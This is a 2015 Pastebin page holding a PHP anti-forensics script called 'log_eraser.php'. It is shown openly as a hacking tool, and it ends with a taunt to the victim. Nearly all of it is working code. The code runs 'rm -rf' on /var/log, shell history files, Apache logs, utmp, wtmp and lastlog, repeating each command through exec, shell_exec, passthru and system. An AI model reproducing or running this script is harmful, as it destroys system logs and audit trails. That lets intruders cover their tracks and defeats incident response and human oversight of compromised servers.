Advertisement
Kyfx

log_eraser.php (Web Logs)

Jul 18th, 2015
341
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.89 KB | None | 0 0
  1. <?php
  2. @error_reporting(0);
  3. set_time_limit(0);
  4. system("clear");
  5.  
  6. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n";
  7. print "| Log Eraser PHP by Kyfx |\n";
  8. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n";
  9. print "|Contact:@Kyfxsec |\n";
  10. print "|Logs Eraser in each point |\n";
  11. print "| There is no end |\n";
  12. print "|--=--=--=--=--=--=--=--=--=--=--=--=--=------------|\n";
  13.  
  14. sleep(1);
  15. print "\n Logs Eraser Started..........\!/";
  16. sleep(2);
  17.  
  18.  
  19.  
  20. {
  21.  
  22. exec("rm -rf /tmp/logs");
  23. exec("rm -rf /root/.ksh_history");
  24. exec("rm -rf /root/.bash_history");
  25. exec("rm -rf /root/.bash_logout");
  26. exec("rm -rf /usr/local/apache/logs");
  27. exec("rm -rf /usr/local/apache/log");
  28. exec("rm -rf /var/apache/logs");
  29. exec("rm -rf /var/apache/log");
  30. exec("rm -rf /var/run/utmp");
  31. exec("rm -rf /var/logs");
  32. exec("rm -rf /var/log");
  33. exec("rm -rf /var/adm");
  34. exec("rm -rf /etc/wtmp");
  35. exec("rm -rf /etc/utmp");
  36. exec("rm -rf $HISTFILE");
  37. exec("rm -rf /var/log/lastlog");
  38. exec("rm -rf /var/log/wtmp");
  39.  
  40. shell_exec("rm -rf /tmp/logs");
  41. shell_exec("rm -rf /root/.ksh_history");
  42. shell_exec("rm -rf /root/.bash_history");
  43. shell_exec("rm -rf /root/.bash_logout");
  44. shell_exec("rm -rf /usr/local/apache/logs");
  45. shell_exec("rm -rf /usr/local/apache/log");
  46. shell_exec("rm -rf /var/apache/logs");
  47. shell_exec("rm -rf /var/apache/log");
  48. shell_exec("rm -rf /var/run/utmp");
  49. shell_exec("rm -rf /var/logs");
  50. shell_exec("rm -rf /var/log");
  51. shell_exec("rm -rf /var/adm");
  52. shell_exec("rm -rf /etc/wtmp");
  53. shell_exec("rm -rf /etc/utmp");
  54. shell_exec("rm -rf $HISTFILE");
  55. shell_exec("rm -rf /var/log/lastlog");
  56. shell_exec("rm -rf /var/log/wtmp");
  57.  
  58. passthru("rm -rf /tmp/logs");
  59. passthru("rm -rf /root/.ksh_history");
  60. passthru("rm -rf /root/.bash_history");
  61. passthru("rm -rf /root/.bash_logout");
  62. passthru("rm -rf /usr/local/apache/logs");
  63. passthru("rm -rf /usr/local/apache/log");
  64. passthru("rm -rf /var/apache/logs");
  65. passthru("rm -rf /var/apache/log");
  66. passthru("rm -rf /var/run/utmp");
  67. passthru("rm -rf /var/logs");
  68. passthru("rm -rf /var/log");
  69. passthru("rm -rf /var/adm");
  70. passthru("rm -rf /etc/wtmp");
  71. passthru("rm -rf /etc/utmp");
  72. passthru("rm -rf $HISTFILE");
  73. passthru("rm -rf /var/log/lastlog");
  74. passthru("rm -rf /var/log/wtmp");
  75.  
  76.  
  77. system("rm -rf /tmp/logs");
  78. sleep(2);
  79. print "Deleted [+].../tmp/logs \n";
  80. sleep(2);
  81.  
  82. system("rm -rf /root/.bash_history");
  83. sleep(2);
  84. print "Deleted [+].../root/.bash_history \n";
  85.  
  86. system("rm -rf /root/.ksh_history");
  87. sleep(2);
  88. print "Deleted [+].../root/.ksh_history \n";
  89.  
  90. system("rm -rf /root/.bash_logout");
  91. sleep(2);
  92. print "Deleted [+].../root/.bash_logout \n";
  93.  
  94. system("rm -rf /usr/local/apache/logs");
  95. sleep(2);
  96. print"Deleted [+].../usr/local/apache/logs \n";
  97.  
  98. system("rm -rf /usr/local/apache/log");
  99. sleep(2);
  100. print"Deleted [+].../usr/local/apache/log \n";
  101.  
  102. system("rm -rf /var/apache/logs");
  103. sleep(2);
  104. print"Deleted [+].../var/apache/logs \n";
  105.  
  106. system("rm -rf /var/apache/log");
  107. sleep(2);
  108. print"Deleted [+].../var/apache/log \n";
  109.  
  110. system("rm -rf /var/run/utmp");
  111. sleep(2);
  112. print"Deleted [+].../var/run/utmp \n";
  113.  
  114. system("rm -rf /var/logs");
  115. sleep(2);
  116. print"Deleted [+].../var/logs \n";
  117.  
  118. system("rm -rf /var/log");
  119. sleep(2);
  120. print"Deleted [+].../var/log \n";
  121.  
  122. system("rm -rf /var/adm");
  123. sleep(2);
  124. print"Deleted [+].../var/adm \n";
  125.  
  126. system("rm -rf /etc/wtmp");
  127. sleep(2);
  128. print"Deleted [+].../etc/wtmp \n";
  129.  
  130. system("rm -rf /etc/utmp");
  131. sleep(2);
  132. print"Deleted [+].../etc/utmp \n";
  133.  
  134. system("rm -rf $HISTFILE");
  135. sleep(2);
  136. print"Deleted [+]...$HISTFILE \n";
  137.  
  138. system("rm -rf /var/log/lastlog");
  139. sleep(2);
  140. print"Deleted [+].../var/log/lastlog \n";
  141.  
  142. system("rm -rf /var/log/wtmp");
  143. sleep(2);
  144. print"Deleted [+].../var/log/wtmp \n";
  145.  
  146. sleep(4);
  147.  
  148. print "Hide your security for next time asshole \n";
  149.  
  150. }
  151. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement